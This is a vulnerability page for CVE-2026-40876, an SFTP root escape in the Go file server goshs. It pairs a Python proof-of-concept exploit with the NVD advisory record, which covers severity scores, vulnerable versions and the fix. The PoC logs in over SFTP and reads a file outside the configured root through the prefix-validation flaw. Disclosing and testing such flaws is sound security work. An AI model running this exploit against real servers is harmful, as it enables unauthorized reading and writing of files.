CVE-2026-40876

import paramiko import sys # CVE-2026-40876 PoC: goshs SFTP Root Escape # Description: Exploits prefix-based path validation to read files outside the root. def exploit(target, port, username, password): try: transport = paramiko.Transport((target, port)) transport.connect(username=username, password=password) sftp = paramiko.SFTPClient.from_transport(transport) # Assume configured root is /tmp/goshsroot # Attempt to read /tmp/goshsroot_evil/secret.txt using the prefix bypass malicious_path = "/tmp/goshsroot_evil/secret.txt" print(f"[*] Attempting to read: {malicious_path}") try: with sftp.file(malicious_path, 'r') as f: data = f.read() print("[+] Success! File content:") print(data.decode()) except IOError as e: print(f"[-] Failed to read file: {e}") sftp.close() transport.close() except Exception as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) != 5: print("Usage: python3 poc.py <target_ip> <port> <username> <password>") sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])

{"cve": {"id": "CVE-2026-40876", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:01.263", "lastModified": "2026-04-24T20:38:12.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.6, goshs contains an SFTP root escape caused by prefix-based path validation. An authenticated SFTP user can read from and write to filesystem paths outside the configured SFTP root, which breaks the intended jail boundary and can expose or modify unrelated server files. The SFTP subsystem routes requests through sftpserver/sftpserver.go into DefaultHandler.GetHandler() in sftpserver/handler.go, which forwards file operations into readFile, writeFile, listFile, and cmdFile. All of those sinks rely on sanitizePath() in sftpserver/helper.go. helper.go uses a raw string-prefix comparison, not a directory-boundary check. Because of that, if the configured root is /tmp/goshsroot, then a sibling path such as /tmp/goshsroot_evil/secret.txt incorrectly passes validation since it starts with the same byte prefix. This vulnerability is fixed in 2.0.0-beta.6."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*", "versionEndExcluding": "2.0.0", "matchCriteriaId": "471EA45E-3052-469D-B301-4D92FB187228"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:*", "matchCriteriaId": "047ECFC3-056F-4FAC-9B64-5F7C120CFFE1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:*", "matchCriteriaId": "6EA86AD2-EE6D-4427-9434-A9A49A4D38F9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta3:*:*:*:go:*:*", "matchCriteriaId": "F44CF6A3-C1BC-4636-A1D5-1ED69A340FE3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta4:*:*:*:go:*:*", "matchCriteriaId": "486D1F77-023B-4EB9-8B49-17EF6546F2DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta5:*:*:*:go:*:*", "matchCriteriaId": "5834E73F-2EF9-42BD-BE8B-DE087A19A132"}]}]}], "references": [{"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-5h6h-7rc9-3824", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-5h6h-7rc9-3824", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}